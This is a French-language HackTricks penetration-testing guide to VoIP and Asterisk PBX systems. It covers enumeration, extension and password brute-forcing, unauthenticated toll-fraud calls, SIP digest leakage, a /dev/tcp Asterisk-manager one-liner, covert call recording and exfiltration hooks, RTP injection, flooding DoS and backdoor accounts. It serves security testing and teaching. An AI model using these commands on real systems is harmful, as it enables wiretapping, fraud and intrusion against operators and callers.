hacktricks/network-services-pentesting/pentesting-voip
2023-06-03 13:10:46 +00:00
..
basic-voip-protocols Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated to French 2023-06-03 13:10:46 +00:00

Pentesting VoIP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base sur la VoIP

Pour commencer à apprendre comment fonctionne la VoIP, consultez :

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Énumération de la VoIP

Numéros de téléphone

L'une des premières étapes qu'une équipe Red peut faire est de rechercher les numéros de téléphone disponibles pour contacter l'entreprise en utilisant des outils OSINT, des recherches Google ou en grattant les pages web.

Une fois que vous avez les numéros de téléphone, vous pouvez utiliser des services en ligne pour identifier l'opérateur :

Savoir si l'opérateur fournit des services VoIP vous permet d'identifier si l'entreprise utilise la VoIP... De plus, il est possible que l'entreprise n'ait pas embauché de services VoIP mais utilise des cartes PSTN pour connecter son propre PBX VoIP au réseau téléphonique traditionnel.

Des choses comme les réponses automatisées de la musique indiquent généralement que la VoIP est utilisée.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Informations OSINT

Toute autre énumération OSINT qui aide à identifier le logiciel VoIP utilisé sera utile pour une équipe rouge.

Énumération du réseau

  • nmap est capable de scanner les services UDP, mais en raison du nombre de services UDP scannés, il est très lent et peut ne pas être très précis avec ce type de services.
  • svmap de SIPVicious (sudo apt install sipvicious): localisera les services SIP dans le réseau indiqué.
    • svmap est facile à bloquer car il utilise l'User-Agent friendly-scanner, mais vous pouvez modifier le code de /usr/share/sipvicious/sipvicious et le changer.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py de sippts: Sipscan est un scanner très rapide pour les services SIP sur UDP, TCP ou TLS. Il utilise le multithreading et peut scanner de larges plages de réseaux. Il permet de facilement indiquer une plage de ports, de scanner à la fois TCP et UDP, d'utiliser une autre méthode (par défaut, il utilisera OPTIONS) et de spécifier un User-Agent différent (et plus encore).
 ./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

  • metasploit :
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Énumération de services réseau supplémentaires

Le PBX pourrait également exposer d'autres services réseau tels que:

  • 69/UDP (TFTP): Mises à jour du micrologiciel
  • 80 (HTTP) / 443 (HTTPS): Pour gérer l'appareil depuis le web
  • 389 (LDAP): Alternative pour stocker les informations des utilisateurs
  • 3306 (MySQL): Base de données MySQL
  • 5038 (Manager): Permet d'utiliser Asterisk depuis d'autres plates-formes
  • 5222 (XMPP): Messages utilisant Jabber
  • 5432 (PostgreSQL): Base de données PostgreSQL
  • Et d'autres...

Énumération des méthodes

Il est possible de trouver quelles méthodes sont disponibles à utiliser dans le PBX en utilisant sipenumerate.py de sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Énumération d'extensions

Les extensions dans un système PBX (Private Branch Exchange) font référence aux identificateurs internes uniques attribués à chaque ligne téléphonique, appareil ou utilisateur au sein d'une organisation ou d'une entreprise. Les extensions permettent de router efficacement les appels au sein de l'organisation, sans avoir besoin de numéros de téléphone externes individuels pour chaque utilisateur ou appareil.

  • svwar de SIPVicious (sudo apt install sipvicious): svwar est un scanner de lignes d'extension SIP PBX gratuit. En concept, il fonctionne de manière similaire aux wardialers traditionnels en devinant une plage d'extensions ou une liste donnée d'extensions.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py de sippts: Sipexten identifie les extensions sur un serveur SIP. Sipexten peut vérifier de grands réseaux et des plages de ports.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Vous pouvez également énumérer les extensions/noms d'utilisateur avec metasploit:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX est un énumérateur de force brute de noms d'utilisateur pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner selon deux modes distincts : Deviner les noms d'utilisateur séquentiellement ou Attaque par dictionnaire.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary 
enumiax -v -m3 -M3 10.10.0.10

Attaques VoIP

Brute-Force de mot de passe

Ayant découvert le PBX et certains noms d'utilisateur/extensions, une équipe rouge pourrait essayer de s'authentifier via la méthode REGISTER à une extension en utilisant un dictionnaire de mots de passe courants pour forcer l'authentification.

{% hint style="danger" %} Notez qu'un nom d'utilisateur peut être identique à l'extension, mais cette pratique peut varier en fonction du système PBX, de sa configuration et des préférences de l'organisation...

Si le nom d'utilisateur n'est pas identique à l'extension, vous devrez déterminer le nom d'utilisateur pour le forcer par brute-force. {% endhint %}

  • svcrack de SIPVicious (sudo apt install sipvicious): SVCrack vous permet de craquer le mot de passe pour un nom d'utilisateur/extension spécifique sur un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py de sippts: SIP Digest Crack est un outil pour craquer les authentifications digest dans le protocole SIP.
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

{% endcode %}

Sniffing VoIP

Si vous trouvez un équipement VoIP dans un réseau Open Wifi, vous pouvez capturer toutes les informations. De plus, si vous êtes dans un réseau plus fermé (connecté via Ethernet ou Wifi protégé), vous pouvez effectuer des attaques MitM telles que ARPspoofing entre le PBX et la passerelle pour capturer les informations.

Parmi les informations réseau, vous pouvez trouver des identifiants web pour gérer l'équipement, des extensions d'utilisateur, des noms d'utilisateur, des adresses IP, même des mots de passe hachés et des paquets RTP que vous pouvez reproduire pour écouter la conversation, et plus encore.

Pour obtenir ces informations, vous pouvez utiliser des outils tels que Wireshark, tcpdump... mais un outil spécialement créé pour capturer les conversations VoIP est ucsniff.

{% hint style="danger" %} Notez que si TLS est utilisé dans la communication SIP, vous ne pourrez pas voir la communication SIP en clair.
La même chose se produira si SRTP et ZRTP sont utilisés, les paquets RTP ne seront pas en clair. {% endhint %}

Identifiants SIP

Consultez cet exemple pour mieux comprendre une communication SIP REGISTER pour apprendre comment sont envoyées les informations d'identification.

  • sipdump & sipcrack, faisant partie de sipcrack (apt-get install sipcrack): Ces outils peuvent extraire d'un pcap les authentifications digest dans le protocole SIP et les forcer par bruteforce.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py de sippts:
    • SipTshark extrait les données du protocole SIP à partir d'un fichier PCAP.
    • SipDump extrait les authentifications SIP Digest à partir d'un fichier PCAP.
    • SIP Digest Crack est un outil pour casser les authentifications digest dans le protocole SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Codes DTMF

Non seulement les informations d'identification SIP peuvent être trouvées dans le trafic réseau, il est également possible de trouver des codes DTMF qui sont utilisés, par exemple, pour accéder à la messagerie vocale.
Il est possible d'envoyer ces codes dans des messages INFO SIP, dans l'audio ou à l'intérieur des paquets RTP. Si les codes sont à l'intérieur des paquets RTP, vous pouvez couper cette partie de la conversation et utiliser l'outil multimo pour les extraire :

multimon -a DTMF -t wac pin.wav

Appels gratuits / Mauvaises configurations de connexions Asterisks

Dans Asterisk, il est possible d'autoriser une connexion à partir d'une adresse IP spécifique ou de n'importe quelle adresse IP:

host=10.10.10.10
host=dynamic

Si une adresse IP est spécifiée, l'hôte n'aura pas besoin d'envoyer des requêtes REGISTER de temps en temps (dans le paquet REGISTER est envoyé le temps de vie, généralement 30 minutes, ce qui signifie que dans un autre scénario, le téléphone devra s'enregistrer toutes les 30 minutes). Cependant, il devra avoir des ports ouverts permettant aux connexions du serveur VoIP de prendre des appels.

Pour définir les utilisateurs, ils peuvent être définis comme suit :

  • type=user : L'utilisateur ne peut recevoir que des appels en tant qu'utilisateur.
  • type=friend : Il est possible d'effectuer des appels en tant que pair et de les recevoir en tant qu'utilisateur (utilisé avec des extensions).
  • type=peer : Il est possible d'envoyer et de recevoir des appels en tant que pair (SIP-trunks).

Il est également possible d'établir une confiance avec la variable insecure :

  • insecure=port : Autorise les connexions de pairs validées par IP.
  • insecure=invite : Ne nécessite pas d'authentification pour les messages INVITE.
  • insecure=port,invite : Les deux.

{% hint style="warning" %} Lorsque type=friend est utilisé, la valeur de la variable host ne sera pas utilisée, donc si un administrateur mal configure un SIP-trunk en utilisant cette valeur, n'importe qui pourra s'y connecter.

Par exemple, cette configuration serait vulnérable :
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Appels gratuits / Mauvaises configurations de contexte Asterisks

Dans Asterisk, un contexte est un conteneur ou une section nommé(e) dans le plan de numérotation qui regroupe les extensions, les actions et les règles liées. Le plan de numérotation est le composant principal d'un système Asterisk, car il définit comment les appels entrants et sortants sont gérés et routés. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrôle d'accès et fournir une séparation entre les différentes parties du système.

Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier extensions.conf. Les contextes sont indiqués par des crochets, avec le nom du contexte entre eux. Par exemple :

csharpCopy code[my_context]

Dans le contexte, vous définissez des extensions (modèles de numéros composés) et les associez à une série d'actions ou d'applications. Ces actions déterminent la façon dont l'appel est traité. Par exemple :

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Cet exemple montre un contexte simple appelé "my_context" avec une extension "100". Lorsque quelqu'un compose le 100, l'appel sera répondu, un message de bienvenue sera joué, puis l'appel sera terminé.

Voici un autre contexte qui permet d'appeler n'importe quel autre numéro:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Si l'administrateur définit le contexte par défaut comme suit :

[default]
include => my_context
include => external

{% hint style="warning" %} N'importe qui pourra utiliser le serveur pour appeler n'importe quel autre numéro (et l'administrateur du serveur paiera pour l'appel). {% endhint %}

{% hint style="danger" %} De plus, par défaut, le fichier sip.conf contient allowguest=true, donc n'importe quel attaquant sans authentification pourra appeler n'importe quel autre numéro. {% endhint %}

  • sipinvite.py de sippts: Sipinvite vérifie si un serveur PBX nous permet de passer des appels sans authentification. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe.

    Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître aucun nom d'utilisateur/mot de passe.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Appels gratuits / IVRS mal configuré

IVRS signifie Interactive Voice Response System, une technologie de téléphonie qui permet aux utilisateurs d'interagir avec un système informatisé par la voix ou des entrées à tonalité. IVRS est utilisé pour construire des systèmes de gestion d'appels automatisés qui offrent une gamme de fonctionnalités, telles que la fourniture d'informations, le routage des appels et la capture des entrées utilisateur.

IVRS dans les systèmes VoIP se compose généralement de :

  1. Messages vocaux: Messages audio préenregistrés qui guident les utilisateurs à travers les options de menu IVR et les instructions.
  2. Signalisation DTMF (Dual-Tone Multi-Frequency) : Entrées à tonalité générées en appuyant sur des touches sur le téléphone, qui sont utilisées pour naviguer dans les menus IVR et fournir des entrées.
  3. Routage des appels: Diriger les appels vers la destination appropriée, tels que des départements spécifiques, des agents ou des extensions en fonction de l'entrée de l'utilisateur.
  4. Capture d'entrée utilisateur: Collecte d'informations auprès des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
  5. Intégration avec des systèmes externes: Connexion du système IVR à des bases de données ou à d'autres systèmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.

Dans un système VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (fichier extensions.conf) et diverses applications telles que Background(), Playback(), Read(), et plus encore. Ces applications vous aident à lire des messages vocaux, à capturer les entrées utilisateur et à contrôler le flux d'appels.

Exemple de configuration vulnérable

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Le précédent est un exemple où l'utilisateur est invité à appuyer sur 1 pour appeler un département, 2 pour appeler un autre, ou l'extension complète s'il la connaît.
La vulnérabilité réside dans le fait que la longueur de l'extension n'est pas vérifiée, de sorte qu'un utilisateur pourrait entrer un numéro complet pendant les 5 secondes de temps d'attente et il sera appelé.

Injection d'extension

En utilisant une extension telle que :

exten => _X.,1,Dial(SIP/${EXTEN})

Lorsque l'extension ${EXTEN} sera appelée, voici ce qui se passera lorsque l'extension 101 sera introduite :

exten => 101,1,Dial(SIP/101)

Cependant, si ${EXTEN} permet d'introduire plus que des chiffres (comme dans les anciennes versions d'Asterisk), un attaquant pourrait introduire 101&SIP123123123 pour appeler le numéro de téléphone 123123123. Et voici le résultat :

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Par conséquent, un appel à l'extension 101 et 123123123 sera envoyé et seul le premier appelé établi la communication... mais si un attaquant utilise une extension qui contourne toute correspondance qui est en cours d'exécution mais qui n'existe pas, il pourrait injecter un appel uniquement vers le numéro souhaité.

Fuite de Digest SIP

La fuite de Digest SIP est une vulnérabilité qui affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet la fuite de la réponse d'authentification Digest, qui est calculée à partir du mot de passe. Une attaque de mot de passe hors ligne est alors possible et peut récupérer la plupart des mots de passe en fonction de la réponse au défi.

Scénario de vulnérabilité (pour plus d'informations, consultez ceci):

  1. Un téléphone IP (victime) écoute sur le port 5060, acceptant les appels téléphoniques
  2. L'attaquant envoie une INVITE au téléphone IP
  3. Le téléphone de la victime commence à sonner et quelqu'un décroche et raccroche (parce que personne ne répond au téléphone à l'autre bout)
  4. Lorsque le téléphone est raccroché, le téléphone de la victime envoie un BYE à l'attaquant
  5. L'attaquant émet une réponse 407 qui demande une authentification et émet un défi d'authentification
  6. Le téléphone de la victime fournit une réponse au défi d'authentification dans un deuxième BYE
  7. L'attaquant peut alors lancer une attaque par force brute sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe
  • sipdigestleak.py de sippts: SipDigestLeak exploite cette vulnérabilité.
python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
	... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call permet à un utilisateur web (qui pourrait par exemple être intéressé par un produit) d'introduire son numéro de téléphone pour être appelé. Ensuite, un commercial sera appelé et lorsque celui-ci décroche le téléphone, l'utilisateur sera appelé et connecté à l'agent.

Un profil Asterisk courant pour cela est :

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Le profil précédent permet à N'IMPORTE QUELLE adresse IP de se connecter (si le mot de passe est connu).
  • Pour organiser un appel, comme spécifié précédemment, aucune permission de lecture n'est nécessaire et seulement originate en écriture est nécessaire.

Avec ces autorisations, toute adresse IP connaissant le mot de passe pourrait se connecter et extraire trop d'informations, comme:

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Écoute clandestine

Dans Asterisk, il est possible d'utiliser la commande ChanSpy en indiquant les extensions à surveiller (ou toutes) pour entendre les conversations qui ont lieu. Cette commande doit être attribuée à une extension.

Par exemple, exten => 333,1,ChanSpy('all',qb) indique que si vous appelez l'extension 333, elle surveillera toutes les extensions, commencera à écouter chaque fois qu'une nouvelle conversation commence (b) en mode silencieux (q) car nous ne voulons pas y participer. Vous pouvez passer d'une conversation à l'autre en appuyant sur *, ou en marquant le numéro de l'extension.

Il est également possible d'utiliser ExtenSpy pour surveiller une seule extension.

Au lieu d'écouter les conversations, il est possible de les enregistrer dans des fichiers en utilisant une extension telle que:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Les appels seront enregistrés dans /tmp.

Vous pouvez même faire en sorte qu'Asterisk exécute un script qui va divulguer l'appel lorsqu'il est fermé.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à tout utilisateur sur Internet d'intercepter et de rediriger le trafic RTP (Real Time Protocol), qui transporte les conversations VoIP. Cela se produit car le trafic RTP contourne l'authentification lorsqu'il navigue à travers les pare-feux NAT (Network Address Translation).

Les mandataires RTP tentent de résoudre les limites NAT affectant les systèmes RTC en faisant transiter les flux RTP entre deux ou plusieurs parties. Lorsque NAT est en place, le logiciel de mandataire RTP ne peut souvent pas se fier aux informations IP et de port RTP récupérées par la signalisation (par exemple SIP). Par conséquent, un certain nombre de mandataires RTP ont mis en œuvre un mécanisme où un tel couple IP et port est appris automatiquement. Cela est souvent fait en inspectant le trafic RTP entrant et en marquant l'adresse IP source et le port pour tout trafic RTP entrant comme celui qui devrait être répondu. Ce mécanisme, qui peut être appelé "mode d'apprentissage", n'utilise aucun type d'authentification. Par conséquent, les attaquants peuvent envoyer du trafic RTP au mandataire RTP et recevoir le trafic RTP mandaté destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux de médias RTP destinés à être envoyés à des utilisateurs légitimes.

Un autre comportement intéressant des mandataires RTP et des piles RTP est que parfois, même s'ils ne sont pas vulnérables à RTP Bleed, ils accepteront, transmettront et/ou traiteront des paquets RTP provenant de n'importe quelle source. Par conséquent, les attaquants peuvent envoyer des paquets RTP qui peuvent leur permettre d'injecter leurs médias au lieu de ceux légitimes. Nous appelons cette attaque l'injection RTP car elle permet l'injection de paquets RTP illégitimes dans des flux RTP existants. Cette vulnérabilité peut être trouvée dans les mandataires RTP et les points d'extrémité.

Asterisk et FreePBX ont traditionnellement utilisé le paramètre NAT=yes, qui permet au trafic RTP de contourner l'authentification, ce qui peut entraîner une absence de son ou un son unidirectionnel lors des appels.

Pour plus d'informations, consultez https://www.rtpbleed.com/

  • rtpbleed.py de sippts: Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py de sippts** :** Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py de sippts: Exploite la vulnérabilité RTP Bleed en envoyant des flux RTP
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py de sippts: Exploite la vulnérabilité RTP Bleed en envoyant des flux RTP (à partir d'un fichier audio)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Si vous parvenez d'une manière ou d'une autre à ajouter des règles d'extension et à les recharger dans Asterisk (par exemple en compromettant un serveur de gestionnaire web vulnérable), il est possible d'obtenir une RCE en utilisant la commande System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Il existe une commande appelée Shell qui peut être utilisée à la place de System pour exécuter des commandes système si nécessaire.

{% hint style="warning" %} Si le serveur interdit l'utilisation de certains caractères dans la commande System (comme dans Elastix), vérifiez si le serveur Web permet de créer des fichiers quelque part dans le système (comme dans Elastix ou trixbox), et utilisez-le pour créer un script de porte dérobée que vous pourrez ensuite utiliser avec System pour exécuter ce script. {% endhint %}

Fichiers locaux intéressants et autorisations

  • sip.conf -> Contient le mot de passe des utilisateurs SIP.
  • Si le serveur Asterisk est exécuté en tant que root, vous pouvez compromettre root.
  • L'utilisateur root mysql pourrait ne pas avoir de mot de passe.
    • cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
  • FreePBX
    • amportal.conf -> Contient le mot de passe de l'administrateur du panneau Web (FreePBX).
    • FreePBX.conf -> Contient le mot de passe de l'utilisateur FreePBXuser utilisé pour accéder à la base de données.
      • cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
  • Elastix
    • Elastix.conf -> Contient plusieurs mots de passe en clair tels que le mot de passe root mysql, le mot de passe IMAPd, le mot de passe d'administration Web.
  • Plusieurs dossiers appartiendront à l'utilisateur Asterisk compromis (s'il ne s'exécute pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires avec porte dérobée lorsqu'ils sont exécutés.

Injection RTP

Il est possible d'insérer un .wav dans les conversations à l'aide d'outils tels que rtpinsertsound (sudo apt install rtpinsertsound) et rtpmixsound (sudo apt install rtpmixsound).

Ou vous pouvez utiliser les scripts de http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ pour analyser les conversations (rtpscan.pl), envoyer un fichier .wav à une conversation (rtpsend.pl) et insérer du bruit dans une conversation (rtpflood.pl).

DoS

Il existe plusieurs façons d'essayer de réaliser une attaque DoS sur les serveurs VoIP.

  • sipflood.py de sippts**: **SipFlood envoie des messages illimités à la cible
    • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
  • IAXFlooder : DoS du protocole IAX utilisé par Asterisk
  • inviteflood : Un outil pour effectuer une inondation de messages SIP/SDP INVITE sur UDP/IP.
  • rtpflood : Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaître les ports RTP qui sont utilisés (sniffer d'abord).
  • SIPp : Permet d'analyser et de générer du trafic SIP. Il peut donc également être utilisé pour DoS.
  • SIPsak : Couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP.
  • Fuzzers : protos-sip, voiper.
  • sipsend.py de sippts: SIPSend nous permet d'envoyer un message SIP personnalisé et d'analyser la réponse.
  • wssend.py de sippts: WsSend nous permet d'envoyer un message SIP personnalisé sur WebSockets et d'analyser la réponse.

Vulnérabilités du système d'exploitation

La façon la plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une distribution de système d'exploitation qui l'a déjà installé, comme: FreePBX, Elastix, Trixbox... Le problème avec ceux-ci est qu'une fois qu'ils fonctionnent, les administrateurs système pourraient ne plus les mettre à jour et des vulnérabilités vont être découvertes avec le temps.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥